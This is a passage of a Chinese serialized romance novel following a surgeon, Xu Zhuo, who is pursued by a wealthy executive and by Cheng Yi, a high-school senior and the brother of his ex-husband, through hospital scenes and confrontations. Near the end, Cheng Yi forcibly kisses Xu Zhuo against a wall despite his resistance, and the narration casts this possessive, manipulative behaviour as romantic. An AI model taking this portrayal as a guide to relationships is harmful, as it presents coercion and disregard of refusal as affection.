“你们在干什么?” 听见许酌的声音,谢旌下意识松手。 回身时,他抬起双手以示自己无辜, “许酌, 这次真不怪我,是他先招惹我的。” 许酌垂眼去看丞弋。 丞敛没有看许酌,撑着胳膊准备从地上起来。 抬头时,许酌清楚看到他嘴角有血溢出来。 谢旌自然也看到了,惊声说,“搞什么?你怎么这么不禁打!我根本没用力气好不好!” 丞弋没理会谢旌,只是做委屈状看向许酌,“许酌哥……” 谢旌拳头又硬了, “你挨打没够是吧!” 话音落下,空气安静。 许酌看着谢旌。 感受到许酌的视线, 谢旌回眸辩解, “他故意装给你看的!你别跟我说你看不出来!” 许酌没接他的话,看了眼丞弋, “跟我进来。” 说完转身进办公室。 丞弋跟着许酌走,同时还回头看了眼谢旌。 谢旌和他对视。 这人脸颊带伤,可他整个人却不见一点狼狈。 反而有种把猎物玩弄于股掌之间的阴笑。 看清楚那点笑意, 谢旌这才后知后觉反应过来,他被这小子耍了。 他就说这小王八蛋的防御一直都高的,打几个来回他愣是没有占到一点便宜,怎么突然就没接住他那一拳。 合着是知道许酌来了,故意卖惨呢。 不用想,嘴角的血肯定是他自己故意咬出来的。 谢旌咬牙,不愧是丞敛那狗东西的弟弟。 简直是有过之而无不及! 谢旌跟着走进办公室。 他已经让这小王八蛋得逞一回了,绝不让再给他添油加醋反过来污蔑自己的机会。 许酌没看谢旌,他沉默示意丞弋坐下后,就转身从柜子里拿出碘伏药膏这些东西。 “许酌,我真没想往死里打他,这点血是他自己故意弄出来的,就为了装给你看的。”谢旌在一旁努力为自己澄清。 丞弋还是那副可怜状,只是还没来得及继续装委屈,一个带着凉意的棉球就按在了他的嘴角。 丞弋只来得及轻嘶一声,而后就眼眸湿润地看着许酌。 许酌和他对视,对他眼里的委屈视而不见,只是问他,“疼么?” 他说话的声音是一如既往的轻柔。 但丞弋还是听出来了,许酌哥生气了。 丞弋就不敢说话了。 谢旌也惊觉许酌身上的气场变了,抿抿唇跟着谨慎噤声了。 三人之间的空气一片安静。 等许酌把丞弋嘴角的伤口处理好了,他一边收起东西,一边说,“把东西收拾一下,我送你回学校。” 丞弋想说不用了,但看着许酌生气的背影,他还是没说出来。 只默默把办公桌上的饭菜收起来。 又拿好练习册。 等他收好,许酌说,“出去等我。” 丞弋看了眼谢旌,乖乖出去了。 谢旌本来还有些得意,毕竟许酌只赶了丞弋没赶他。 但等他看到许酌走到衣架旁开始脱白大褂时,他忽然有些紧张,目光有一下没一下往许酌雪白的后颈瞟。 然而没瞟几下,许酌就换好了外套转过身。 谢旌猝不及防和许酌对上视线,心口忽地漏掉一拍。 许酌迎着他紧张的视线走过来,温声开口,“谢总,你今年几岁了?” 谢旌以为他怪自己这么大个人欺负一个高中生,连忙解释说,“许酌,今天真的不怪我,是那小王八是丞敛他弟先激我的,他说我是丞敛的手下败将,你是知道我有多讨厌丞敛的!” 许酌说,“我不是这个意思。” 他看着谢旌,“我的意思是,谢总,你长大了,我也长大了,我不是你口中那种很有魅力的人,我现在就是一个枯燥又无聊的医生。” “我每天就是上班来医院,下班回家,仅有的休息时间还会被喊回医院紧急加班。” “我没有时间和爱人进行浪漫约会,也没时间为爱人在家洗手做羹汤。” “甚至连给爱人及时提供陪伴情绪都没办法做到。” “试问你喜欢的人真的不是大学里那个光芒万丈的许酌,而是一个被生活搓磨的只剩下枯燥工作的无聊许酌么?” 谢旌没能说出话。 许酌也不需要他给出回复,径直从他身边走出了办公室。 他开车送丞弋回学校。 一路无言。 直到车子稳稳停在丞弋的学校门口,许酌才转头问丞弋,“为什么?” 这句‘为什么’包含了很多。 为什么突然来医院。 为什么故意激怒谢旌。 为什么弄伤自己。 丞弋听出来,侧头去迎许酌的目光,“许酌哥,你想听实话么?” 许酌说,“我不喜欢说谎的人。” 丞弋点头,“好,那我说实话。” 他看着许酌,漆黑的目光犹如一张浓郁的网,“因为许酌哥昨天带回家的味道让我很讨厌。” 许酌没明白他昨天带了什么味道回家。 细想过后才反应过来可能是谢旌身上的香水味。 他有点惊讶丞弋的嗅觉居然这么敏锐。 毕竟昨天他根本没察觉到自己身上还沾了谢旌的香水味。 有了这个回答,后面两个问题的答案自然也显而易见了。 他看着丞弋,“那你就这么伤害自己?” 丞弋不语,安静解开安全带。 而后他看着许酌,“许酌哥,我没有伤害自己。” 许酌的视线往他嘴角扫了一眼。 什么意思不言而喻。 丞弋神色无辜,“这是谢旌打的,许酌哥忘了么?” 许酌问他,“难道不是你故意激他的?” 空气安静。 丞弋没说话,只是直直和许酌对视。 良久之后,丞弋缓缓凑过来,抬手抚上许酌的侧脸。 许酌偏头要躲,却被丞弋扣住后颈,躲不开。 “小弋!”许酌攥住丞弋的手腕,故作严肃。 然而他的严肃在丞弋眼里根本没有半分威慑力。 只会让丞弋更加兴奋而已。 “许酌哥,你有没有一点点开始喜欢我?”他开口问,音调里带着卑微的渴求。 许酌微叹,“小弋,我是不” 话还没说完,唇瓣就被带着热度的拇指按住了。 许酌心口微颤。 下一秒。 丞弋更加大胆地凑过来。 许酌下意识想后退,就听丞弋开口说,“许酌哥,你敢看着我的眼睛么?” 话音里带着激将,几乎没有思考,许酌就打消了后退的想法,然后直直和他对视。 车厢沉默。 两人在近在咫尺的距离里对视。 许酌甚至能感受到丞弋口鼻间扑过来的热息。 起初时,许酌还算得上平静。 但渐渐的,他忽然有些想躲了。 丞弋漆黑如墨的目光倒映着他的脸。 他往里看,几乎都能他眼底那片深不见底的少年情愫。 和这样一双目光对视,许酌不自觉想要屏住呼吸,仿佛稍有不慎就会溺亡其中。 终于快要透不上气时,许酌还是率先偏头躲开了丞弋的目光。 “许酌哥。”丞弋又托着他的脸把他掰回来,继续追着他的眼睛,“你躲开了,所以你是喜欢我的,对不对?” 许酌有些脸热,他怀疑是丞弋手中的温度烘的。 他蓄起力气想要拨开丞弋的手,却又被丞弋反手攥在掌心里。 许酌简直头疼,“小弋,我是给不了你要的那种喜欢的。” “你给得了。”丞弋步步紧逼,“许酌哥,你给得了,也只有你给得了。” 少年人的进攻简直不给人留有任何退路。 饶是许酌也难免有些慌乱。 他一时间都不知道该说什么了,只用力把手从丞弋手中抽回来,勉力平静,“你该回学校了。” 手里一空,丞弋也没失落,只是看着许酌说,“许酌哥,我是故意的。” 许酌稍愣半秒才反应过来,丞弋是在回答他之前的问题。 “我讨厌谢旌,讨厌周黎安,讨厌余凯睿。” “我讨厌你身边每一个追求者。” 以往的丞弋虽然在喜欢他这一点有表现出些许偏执。 但大多时候还是很乖的。 这是丞弋第一次这么直观地表现出对别人的不喜欢。 甚至是厌恶。 许酌没说话。 而他沉默的间隙,丞弋再一次抚上他的脸,“所以啊许酌哥,你要快点喜欢上我。” 他声音暗哑,仿佛蠢蠢欲动的蛇,“因为我已经快控制不住我自己了。” 刚回到医院,许酌就在走廊上迎面碰到了林祈。 林祈快步过来揽着他的肩膀说,“可以啊酌酌宝贝,一大早就有漂亮的玫瑰花收啊。” 许酌没什么心情,淡声说,“你喜欢的话下次让谢旌送你。” 林祈嘁了声,“我才不要他的花,我要收花也只收你送的。” 许酌拨开他的胳膊,“我没那种爱好。” 林祈也不再开他玩笑,插着兜认真问他,“说实话,最近这几个追求者你对谁更有兴趣啊?” 许酌说,“都没兴趣。” 林祈笑,“那丞弋弟弟呢?听说他跟谢旌打得不可开交哦。” 提到丞弋,许酌就想到丞弋刚说过的话。 于是更不想说话了。 林祈却很有兴趣,“啧啧,还是个高三学生就敢明目张胆地追自己的前嫂子,这要是上了大学还得了?” 说着,他突然问,“哎?你说丞敛知道他弟在追他前夫么?” 见他越说越来劲,许酌忽然问他,“你今年不报考主治了?” 林祈一噎,而后立即做了个闭嘴的动作,“好了,我不八卦了,还请聪明伶俐秀外慧中温柔善良的许医生到时候记得渡在下一劫。” 许酌耳边是安静下来了,心里却仍旧一片混乱。 眼看三月份就要结束了,距离高考也就剩下两个月的时间。 许酌在想,他这两个月要不还是尽量少回家好了。 不然他怕自己会影响到丞弋的备考状态。 第28章 第 28 章 淋湿的小狗。 28 许酌下午出门诊。 一下午门诊结束, 他接了两个病人。 其中一个病人比较特殊,来的时候脸上带着伤。 由于医院和警方签订了反黑协议,所以许酌在问诊时特意问过患者脸上的伤是怎么来的。 患者坚持说没事, 许酌也就没再多问了,只是将患者的情况上报警医联动室。 又嘱咐护士多留意一下那位患者的情况。 晚上许酌还有一台房缺侧切修补手术。 手术两个小时结束。 结束后, 许酌就准备下班了。 结果刚回到办公室,就见谢旌正靠墙等在那里。 见他过来, 谢旌离墙站好。 也不说话,就静静看着许酌。 许酌走过去,“怎么了?有事?” 谢旌这才拎起手里的东西, 笑着说, “我来给你送夜宵。” 许酌没接,只问他,“我中午说的话你是一点没听进去么?” “听进去了。”谢旌说,“所以我回去好好想了一个下午,然后我很确定,我对现在的你也就是你口中那个枯燥无聊的你,一样很心动。” 许酌轻叹,“可我近期都没谈恋爱的打算。” 话说完, 许酌口袋里的手机就响了。 他一边把手机从口袋里拿出来,一边跟谢旌说, “抱歉, 我先接个电话。” 谢旌安静等他。 许酌接起电话。 电话那边说了什么谢旌没有听见,他只见许酌的表情忽然变了。 “知道了, 我现在过来。” 见许酌挂了电话,谢旌赶紧问,“怎么了?又要去做手” “赶紧走了!你爸突然呼吸困难!”许酌说完也不等谢旌, 一边转身往电梯间跑,一边拿出手机给崔玉知打电话通知她。 两人差不多时间赶到谢升华病房。 “老师!” 崔玉知点头应了声,随后就赶紧进病房去查看谢升华的状态。 谢升华呼吸的频率像破风箱一样,额头上也是大汗淋漓。 “爸!”谢旌急忙要往谢升华病床前跑。 但被许酌拦住了,“你先别过去,有老师在,你爸不会有事的。” “许酌!”这时崔玉知抬头跟许酌说,“去通知手术室准备手术!” 闻言,床旁护士立即开始动了起来。 许酌应了声好,顺便把谢旌带出去,“要准备手术了,你过来签字。” 谢旌完全乱了,不知道该怎么办了。 只像个无头苍蝇一样跟着许酌。 许酌让他签什么他签什么,许酌跟他说什么他答应什么。 等他终于回过神的时候,许酌已经准备进手术室了。 “许酌!”谢旌一个大步冲过去拉住许酌的手腕。 他拉得很紧。 仿佛拉住救命稻草一样。 许酌回头,见谢旌眼里已经眼眶通红。 “许酌,救救我爸!一定要让他活着出来,求你!”一句话还没说话,谢旌红润的眼眶就先溢出一串串害怕的泪水。 此时的谢旌全然没了之前那副笑着说要继承遗产时的散漫不羁。 而是和无数等在手术的家属一样,都深深牵挂着躺在手术室的家人。 许酌也像安慰无数个病人家属一样,轻拍着谢旌的手背安慰他,“别担心,我们会尽全力的。” 进到手术室,许酌去洗手池洗手。 崔玉知刚好也过来,“阿酌,等下你来做一助。” 许酌一惊,“嗯?赵主任还没下台么?” 崔玉知摇头,“没,他那边的冠心病也很紧急,他跟周黎安暂时都下不来。” 许酌谨慎说,“可这么大的手术我做一助不符合手术规定。” 崔玉知看着他,“别跟我说手术规定,我的手术我说了算,你就说你可不可以?” 许酌毫不犹豫,“我可以。” 崔玉知笑,“那不就行了,有机会在眼前就要赶紧把握住,不然你怎么成长成一个独当一面的主刀医生?” 许酌认真,“谢谢老师。” 手术做了十一个小时。 最后一根线缝合好,崔玉知有气无力说,“手术成功,结束。” 话音落下,所有人都长松了一口气。 几个体力不支的巡回护士和机械护士甚至都快哭出来了。 许酌也累,但他的工作还没结束,“老师,你去休息吧,我来关胸。” 崔玉知疲惫点头,“嗯,那剩下的就交给你了 。” 做好收尾工作,许酌整个人也恍惚得像个丧尸。 但他还是强撑着最后一点意志力往手术门口走了。 蓝色的隔离门打开,许酌没看到预想中一脸焦急的谢旌。 而是最先看到了丞弋。 少年人身上穿着蓝白色校服,抬眼看到他,快步朝他跑过来。 “许酌哥!”丞弋停到他面前,紧张问他,“你怎么样?没事吧?” 许酌有些恍惚。 多少次从这扇门出来,他听到的第一句话都是,“医生!手术怎么样?” 这还是许酌第一次听到有人问他怎么样。 用的还是那种满眼心疼的目光。 那一瞬间说不上到底是什么在作祟,许酌感觉自己心口好像乱颤了一下。 他只当是熬夜的后遗症,没多想,缓缓笑了笑,“我没事。” 他不笑还好,一笑就将他未能泛起笑意的眼睛显得更加疲倦了些。 唇色也因抿起的弧度更显浅淡。 这样站在冷白色的灯光下,像极了透支完生命力的脆弱蝴蝶。 丞弋看着,更加心疼了。 然而还没等他继续说什么,身后的谢旌就撑着墙缓缓走过来了,“许酌,我爸怎么样?” 许酌将目光越过丞弋,跟他说,“手术很顺利,谢董已经转去监护室了。” 闻言,谢旌虚脱靠回墙上,“太好了,真的太好了” 眼见他正一点点滑向地面,许酌想过去扶住他。 但还没碰到,手腕就被丞弋攥住了。 许酌抬眼去看丞弋。 丞弋眉头紧蹙,漆黑的眼底带着点许酌从没见过的凶,“许酌哥,你该去休息了。” 让这人直接死这好了。 听到这话,谢旌又赶紧撑着一口气站好,紧张说,“对啊许酌,你忙一整夜了,快去休息吧。” 许酌嗯了声,“我这就去休息。” 又转头跟丞弋说,“小弋你快回家写作业去吧,我等下就在医院休息了。” 他是真的忙晕了,都忘了今天是周三,丞弋该去上学的。 不过丞弋也没解释,只是看着他。 许酌没在门口多留,他还要去一趟GICU。 把谢升华在手术中的各项数据交代给gicu的林医生,又特别叮嘱他一些注意事项,许酌的收尾工作这才完成。 他已经没有力气去还手术服了,直接拖着疲惫的身体往值班室走了。 平时这段路他走起来根本不觉得多远,今天忽然觉得好远。 以至于他走着走着,就忽然有些体力不支,整个人直接头重脚轻地想往下倒。 许酌本能地想扶住什么栏杆来稳住自己。 而后,他手中忽然就多了一阵温热的触感。 这阵触感明显不是走廊上的扶手,他懵然抬眼,就看到一张再熟悉不过的脸。 他声音飘忽,“小弋,你怎么还没走?” 丞弋不说话,拧着眉把人打横抱起。 腾空的一瞬间,许酌本能地环住丞弋的脖子。 而后又觉得这样不合适,便拍着丞弋的肩膀说,“小弋,放我下来” 话音还没彻底落下,他自己就先靠着丞弋的肩膀闭上了眼睛。 许酌是真的没有力气了。 不算那台房缺修复手术,只算谢升华这台手术的时长,他就已经持续站立12个小时了。 就算是铁打的身体也扛不住。 更何况许酌只是很普通的肉|体凡胎。 许酌只觉得他现在整个人都快散架了。 看着怀里没有力气抗拒他的许酌,丞弋心里又疼又气。 心疼许酌哥为了一台手术这样消耗自己的身体。 又气许酌哥一点防备都没有。 如果不是他不放心追过来,那许酌哥是不是就要被别人抱走了。 毕竟他的许酌哥是那么好看,又那么迷人,还那么虚弱。 这样的许酌哥,任谁看了都会很想欺负的吧。 好在。 许酌哥现在躺在他怀里。 不过丞弋并没有因此觉得庆幸,只觉得他以后要把许酌哥看得再紧一点了。 不然那些心怀不轨的小三肯定要趁虚而入了。 值班室没有人,丞弋把许酌放在下铺的床位上。 但没有直接让他躺下去,而是让他半靠在自己胸前,然后低声喊他,“许酌哥。” 许酌颤了颤睫毛,没应声。 丞弋知道他听得见,只是没力气出声做回应了。 丞弋就没再喊了,直接打开自己带过来的甜粥,用勺子舀起一勺送到许酌嘴边,“许酌哥,张嘴。” 许酌蹙眉。 显然是不想吃。 丞弋就放软声音哄他,“许酌哥,你做了一夜手术,现在直接睡过去等下胃里会不舒服的,听话,吃点甜粥再睡。” 许酌还是没有反应。 丞弋垂着眼,“许酌哥是想让我用嘴巴喂么?” 许酌:。 许酌只好勉强睁开眼睛,然后抬手去拿丞弋手中的勺子,“给我吧,我自己来。” 丞弋没给他,只说,“我喂,许酌哥只管张嘴巴吃进去就好。” 好奇怪的话。 但许酌此时的大脑比较混沌,并没反应过来这句话奇怪在哪里,只是坚持说,“我自己来。” 丞弋仍然不松手,反而说,“许酌哥,我等下还要去学校的,你再耽误下去我上午的课都要错过了。” 许酌反应了一下,这才恍然想起来今天好像是周二还是周三来着。 他侧头,想问丞弋不去上学来这里干什么。 但等他对上丞弋那双蕴满担心和心疼的目光,顿时就什么话都问不出来了。 还能是因为什么。 自然是因为他了。 他不问,丞弋还偏要答,“许酌哥一夜没回来,我担心你,就过来看看。” 充满担心的目光像一张绵软的网。 轻轻柔柔地把许酌笼罩其中,他只觉得自己快要陷进去了。 许酌眨了下眼,垂眼躲开丞弋的目光。 丞弋把许酌的反应全都看在眼里,但他没有乘胜追击,只是继续哄着许酌,“所以许酌哥快点吃东西吧,你吃完东西我就回学校了。” 许酌不再矫情,只说,“我靠在床上就行。” 这样靠在丞弋身上也太别扭了。 丞弋不舍得松开许酌,但他也知道许酌哥已经退一步了。 所以他没把人逼那么紧,也乖乖后退一步。 他起身,把枕头竖起来,让许酌靠在枕头上面。 值班室的枕头都是医院统一订购的。 许酌之前倒没觉得这个枕头有这么不舒服。 相反,每次值完夜班他倒头就睡的时候还会觉得这个枕头格外舒服。 然而现在。 他忽然觉得就这个枕头又薄又没有支撑。 远没有靠在丞弋怀里 意识到自己在想什么,许酌赶紧打住了这个念头,佯装平静地就着丞弋的手吃了一口甜粥。 是小米粥,加了点搅碎的南瓜。 口感甜糯,也比较好消化。 很适合他现在这种能量耗尽的人吃。 温热的甜粥顺着食道滑进胃里,那阵因为饥饿感造成的心慌也缓缓减轻了一些。 但困意更重了。 许酌眼皮在打架,吃了没几口就摇头说,“可以了,不吃了。” 丞弋也没勉强,把碗放到一边。 许酌疲惫躺下去,“你快回学校吧,路上慢点” 话还没说完,回过身来的丞弋就拿着一张纸过来给他擦嘴。 他动作小心、认真。 仿佛是在对待珍贵的宝贝一般。 温柔得不像话。 可能是熬夜导致的思维迟钝使然。 也可能是没有人能抗拒在最疲惫的时候被人温柔对待的原因使然。 总之,许酌心口停滞了一秒。 一秒后,又杂乱无章地跳动了起来。 “我等许酌哥睡着了再走。”丞弋把许酌嘴角擦干净后,转而拍了拍许酌的头,声音轻柔,“快睡吧许酌哥。” 许酌没说话,侧头闭上了眼睛。 能量耗尽的疲惫感在他闭上眼睛的那一刻就把他淹没了。 他没有胡思乱想。 也不知道丞弋什么时候离开的。 只知道等他再次睁开眼的时候,才不到三点。 外面在下雨,哗啦啦的落雨声格外催眠。 但许酌记得他下午还有手术,所以他必须要起来了。 起身下床时,他疑惑了一瞬。 往常结束长时间手术后,许酌的小腿总是会有一阵很强烈的酸胀。 今天虽然也有酸胀感,却没那么强烈。 许酌眨了眨眼,想到丞弋。 想到丞弋不去上学而是留在这里给他按摩小腿,许酌顿时有些头疼。 这孩子到底知不知道,他现在最紧要的事情是准备高考。 头疼叹了口气,许酌拿起手机。 手机上有很多未读微信,许酌最先打开了丞弋的对话框。 丞弋:[许酌哥,我回学校了,你醒来记得先去吃点东西] 消息是十一点发的。 上午的课都快结束了。 许酌更头疼了。 他没回丞弋,收起手机起床洗漱。 洗漱好,他去把手术服换下来还掉,顺便去食堂吃了个饭。 吃完饭回来,他去监护室看了眼谢升华。 谢升华手术时间太长了,对各方面器官多少都有些损伤,人现在还没醒。 但好在没有并发症的症状出现,倒也算个好消息。 从监护病房出来,许酌又去了普通病房。 昨天他收进来的两个病人已经做过各项检查了,他要去看下两人的检查报告。 然后再跟崔老师沟通手术安排。 确定好手术事宜,接下来就该准备今天的第一台手术了,二尖瓣关闭不全。 这台手术不算大手术,手术时长也适中。 四个半小时就结束了。 后面没排手术。 许酌回办公室换衣服准备下班。 然而他刚走出办公室,就迎面看到从走廊转角走过来的谢旌。 两人对上视线,谢旌先笑起来,“准备下班了?” 许酌嗯了声,说,“我还说等下给你发个微信呢。” 谢旌挑眉笑,“干嘛?想我啊?” 许酌自动忽略,只说,“我是要跟你说下谢董的情况。” 谢旌收起笑意,正色问,“他怎么了?” 许酌说,“没什么大事,就是暂时还没醒,不过你也别担心,他现在没有并发症出现,人还是安全的。” 听到是安全的,谢旌扬唇笑起来,又恢复成那副散漫不羁的模样,“我不担心,这小老头这么大的手术都挺过来了,肯定会没事的。” 他说,“我过来找你是送你回家的。” 许酌习惯性拒绝,“不用了,我自己回去就行。” 谢旌看着他,“许医生,你今天睡够五个小时了么?” 许酌抿唇。 谢旌替他回答,“你五个小时都没睡够,下午又站了那么久,精神和体力双重不足的情况下,请问你要怎么开车?” 许酌改口说,“那我打车就好了,真不用麻烦你了。” “怎么会麻烦。”谢旌笑,“你救了我家老头子,你就是我的救命恩人,别说送你回家了,你就是想骑着我回家我都可以立马给你跪下来。” 许酌想说他的救命恩人该是崔主任和麻醉科的陈主任才对。 但谢旌根本没给他机会,推着他的肩膀就电梯的方向走了,“好了好了,你有拒绝的时间我都已经把你送到了。” 许酌拗不过他,还是坐上了他的车。 谢旌开过来的这辆车是辆很酷炫的超跑。 和他整个人的风格非常相配。 许酌没坐过这款车,连车门在哪开都不知道,是谢旌亲自给他开的车门。 等他坐进去后又亲自给他系安全带。 许酌玩笑似的说,“不愧是谢少爷,车子都这么高级。” 谢旌系好自己的安全带,臭屁看了眼许酌,“喜欢么?喜欢送你一辆。” 许酌莞尔,“不要,医生不能收病人及病人家属的东西。” 谢旌习惯了许酌的拒绝,闻言也没失落,踩下油门,将车子在一声宛如狮子怒吼的声响中把车子开出了车位。 外面的雨还在下,并没有减弱的架势。 车里没有开音乐,许酌听着噼啪落下的雨声,很快就泛起困意,侧着头靠在椅背里昏昏欲睡。 谢旌没吵他,只是故意将车速放慢了很多。 好久没和许酌单独相处过了,他想多多享受一下和许酌独处的时间。 但路程有限,即使他刻意放缓了速度,还是很快就到了。 谢旌侧头看许酌,在犹豫要不要带许酌再绕一圈。 这时,许酌刚好睁开眼睛,“到了?” 困倦的声音透着软绵,落在空气里的一瞬间就好似柔软的刷子。 谢旌耳廓痒痒的,深吸一口气才说,“没到呢,你住几幢,我直接给你开到楼下吧。” 许酌看着外面的大雨,没再拒绝。 谢旌没机会再带着许酌多兜一圈,只好把车子开到自动抬杆前。 保安穿着雨衣走过来询问登记。 许酌报了门牌号和手机号,保安这才放行。 谢旌边开车进去,边笑说,“你就这么毫无防备地把门牌号说出来了,就不怕我晚上来敲门啊?” 许酌说,“我相信谢总没那么无聊前面麻烦右拐。” 谢旌右转方向盘,“许酌,这么多年过去了你还是不太了解追你的男人都在想什么。” 要不是道德和法律不允许,他早就把许酌吃干抹净了。 哪里还轮得到丞敛独占许酌那么久。 许酌不想知道,也没接这句话。 等车子快开到单元门门口了,他才开口说,“前面就可以停了。” 谢旌把车子缓缓停下来。 许酌解开身上的安全带,“谢谢谢总送我回家。” 谢旌也在解安全带,“说谢太客气了,直接跟我谈恋爱就好了。” 许酌无奈一笑,“谢总还是先告诉我你这车门怎么开吧。” 谢旌还想趁机调戏许酌,但看着他眼里的倦意,还是忍下了,只说,“我来给你开。” 外面还在下着雨,许酌不想这么麻烦谢旌。 但谢旌已经开门下去了。 他淋着雨绕过车头,来到许酌这边给他打开车门。 车门上摇,许酌先感受到一阵凌乱的凉风。 他下车,谢旌将手挡在他额前,“快上去。” 然后揽着他快步走上台阶。 许酌被他带着站到了遮雨的单元门前。 尽管谢旌动作已经很快了,但许酌身上还是沾了点雨水的痕迹。 谢旌看到,有些歉疚,“不好意思啊,车里没有准备伞,让你淋雨了。” 许酌失笑,“这位谢总,你关心别人之前要不要先看看你自己啊。” 谢旌把额前略湿的黑发往后一拢,随意性感,“我皮糙肉厚的,淋多少雨都没事,许医生要救死扶伤的,可不能淋坏了。” 许酌简直无奈,“好了,你快回去吧,回去洗个热水澡,别感冒了。” 谢旌也没准备多留,许酌辛苦一天一夜了,他得赶紧放许酌回去休息。 “那你也赶紧进去吧,我走了。” 许酌嗯了声,说,“回去慢点开。” 谢旌笑,“好,保证安全到达。” 说完,谢旌就转身准备往台阶下走。 然而刚走出一步,他又转回身,看着许酌说,“忘了一件事。” 许酌眨眼,“什么?” 谢旌没说话,直接俯身抱住许酌。 许酌没有下意识想推开谢旌的想法,因为他感觉出谢旌这个拥抱里没有交杂着任何情欲。 而下一秒。 他果然就听耳边传来很轻的声音在说,“许酌,谢谢你。” “谢谢你能在那台手术里。” “要是没有你在,我昨天肯定会害怕到崩溃的。” 或许是记忆里的许酌因为各方面都比较优秀的原因,所以许酌在他心里早就被他不知不觉神化了。 以至于他明明很清楚许酌并不是昨天那台手术里的主刀医生。 但他还是靠着无数个‘许酌在,会没事的’的念头撑过了每一分每一秒。 许酌不知道谢旌把他抬到了什么位置。 但他知道那声‘谢谢’里蕴含了多少重量。 就像很多患者都会把手术的希望寄托在经验丰富的院长或主任身上一样,谢旌也把希望寄托在了他身上。 许酌自认为自己还没强大到足以撑起某个人的希望。 但他还是没有默默收下了这份寄托。 然后像安慰以往那些患者家属一样,轻轻拍了拍谢旌的后背,“好了,都过去了,你爸很快就没事了。” 谢旌没再说话。 四下安静,唯有雨声在发出滴滴答答的声响。 过了不知道多久,谢旌终于松开许酌。 重新站好时,他都没好意思再去看许酌的眼睛,“真丢人啊,又让你看到我不那么帅的一面了。” 许酌就懵然眨眼,“什么?刚才发生什么了?” 谢旌转回目光和许酌对视。 暖色的灯光下,许酌一双眼睛里装着能把人融化的温柔。 特别是配上他现在这个故作懵然的神情,简直要迷死人。 谢旌心里痒得厉害,忍不住抬手敲了下许酌的额头,“别勾引我。” 说完转身,“走了,明天见。” 许酌习惯性忽略了前半句,跟他说,“你从前面绕出去就可以了。” “知道啦。”谢旌上车,把车子开走。 看着他的车尾灯消失在转角处,许酌收回目光准备回家。 然而刚转过身,眼角余光就瞥到一抹熟悉的蓝白配色。 他定睛去看,果然是丞弋。 丞弋背着书包站在路边,没有撑伞,浑身湿漉漉的。 也不知道站了多久。 一双如幽深目光透过湿黑的头发朝他望过来,让许酌莫名心慌了一瞬。 第29章 第 29 章 却被丞弋吻得更深。…… 29 雨势渐大, 夜风更凉。 丞弋缓缓朝着许酌走过去。 等他走到近处,许酌这才看清丞弋身上不止是湿湿漉漉的,而是已经湿透了。 湿成一缕缕的黑发间还有雨珠顺延下来, 落在他额间、脸上。 一双眼睛不知道是不是浸了雨水的缘故,又湿又红。 “许酌哥, 你回来了。”他开口说话,平静的声音里带着细颤。 全然没了刚才那一眼带给许酌的压迫感。 反而很像呜咽的可怜小狗。 许酌下意识想后退的想法打消, 转而担心问他,“你怎么回来的?走回来的?” 丞弋摇头,“打车回来的。” 他看着许酌, “就刚才在路边站了一小会。” 为什么站在路边许酌没问。 答案很显然, 估计是看到谢旌抱他了。 许酌想解释下那个抱不是丞弋想的那样,但又觉得跟丞弋解释这个原因有些怪,就没解释。 只是拉着丞弋的胳膊,“走吧,先回家洗澡,等下要感冒了。” 丞弋没有说话,安静跟着许酌的步子进电梯回家。 到家开门,许酌一边换鞋一边跟丞弋说, “你快去洗澡,我去给你煮碗姜汤驱寒。” “许酌哥。”丞弋拉住许酌。 许酌回头。 丞弋放下书包, 而后一言不发地抱住他。 许酌推了下他, “别闹了,快去洗澡。” 丞弋不语, 只是继续抱他。 许酌又推,这次用了点力气,“小弋!” 声音带了些严肃。 丞弋缓缓松开许酌, 后撤身子站好,然后问,“为什么?” 许酌不明所以,“什么为什么?” “为什么谢旌可以抱许酌哥,我却不可以?” 许酌抿了抿唇,而后深吸一口气。 果然。 他刚才还是应该及时解释的。 许酌说,“小弋,刚才那个抱不是你想的那样的。” “那是哪样的?”丞弋声音平稳,“许酌哥,你告诉我哪样的抱是可以不被你推开的?” 他的话音和发间的雨珠一起落下,造成一起他好像在哭的视觉误差。 而事实上,丞弋的眼睛也确实比刚才更红了些。 许酌不想把人惹哭,就放柔声音说,“小弋,那只是大人之间用作表示感谢的拥抱,没什么特别的意义。” 空气安静。 几秒后,丞弋忽然说,“63秒。” 许酌:“什么?” “许酌哥让他抱了63秒。”少年声线湿稠,像缓缓爬行的毒蛇。 许酌没听出他语气里的危险,他只是讶然丞弋居然还数了谢旌抱他的时间。 “我也想感谢许酌哥,那我是不是也可以抱这么久?” 说着,丞弋就再一次俯身要去抱许酌。 许酌后退一步,抬手抵着他的肩膀,轻叹说,“小弋,不可以这么孩子气。” “孩子气。”丞弋紧紧盯着许酌,“许酌哥,在你眼里我是不是永远都只是个孩子?” 空气被丞弋身上的雨水染出几分潮湿的味道。 许酌在潮湿的空气里和丞弋对视,而后他发现,丞弋湿红的眼睛里已经被浓稠的占有欲给铺满了。 那些占有欲如同一根根藤蔓一样,正悄无声息地伸向他。 似要准备把他紧紧圈起来。 许酌这才惊觉丞弋有些偏激了,想试图稳住他,“小弋,你先冷静一下,那只是一个什么都算不上的抱,你” 话还没说完,潮湿的雨水气就铺天盖地地席卷住他所有感官。 丞弋把他抵在墙上,用力吻住了他。 相比上次那个粗野又放肆的吻,丞弋这次完全就像失控的猛兽一般,侵略性十足。 腰被他掐着,后颈被他扣着。 唇舌被他反复翻搅。 两人之间没有任何缝隙,许酌能感受到丞弋身上浸染过来的湿意。 那湿意是凉的。 可少年人紧紧贴靠过来的胸膛却炽热无比。 如同侵略进他口中的长舌一般,烫人得厉害。 许酌所有的呼吸都被丞弋舔舐走了,他发不出任何声音,只听见空气里已经被急促的呼吸和凶狠的舔舐声给填满了。 甚至还时不时响起一声他无法自控的细哼声。 几道声音混合在一起,扰得人面红耳赤。 许酌心口跳动得厉害。 他无声推着丞弋的肩膀表示拒绝,却被丞弋吻得更深。 少年人爆发出来的占有欲如同燃着炙火的蛛网。 随着他每一次舔过唇舌,那火网就灼烈一分。 潮湿的空气被那阵越燃越旺的火炙烤着,逐渐干燥,逐渐滚烫。 本就缺氧的许酌被密不透风的热空气包裹着,整个人都快要透不过气了。 濒临缺氧之际,许酌狠下心咬了下丞弋的嘴唇。 丞弋下唇吃痛,动作缓慢了一瞬。 但一瞬之后,他就更加用力地环住许酌的腰,扣在后颈的手也移到了他的下颌处。 他托着许酌的下颌迫使他抬起下巴,好方便他再一次加深这个吻。 这个架势简直跟闻到血腥味的野兽毫无二致。 许酌感觉丞弋已经彻底失去理智了。 而他也在一次次的无效反抗里起了点火。 他使出全身的力气猛力一推,终于把丞弋推开了。 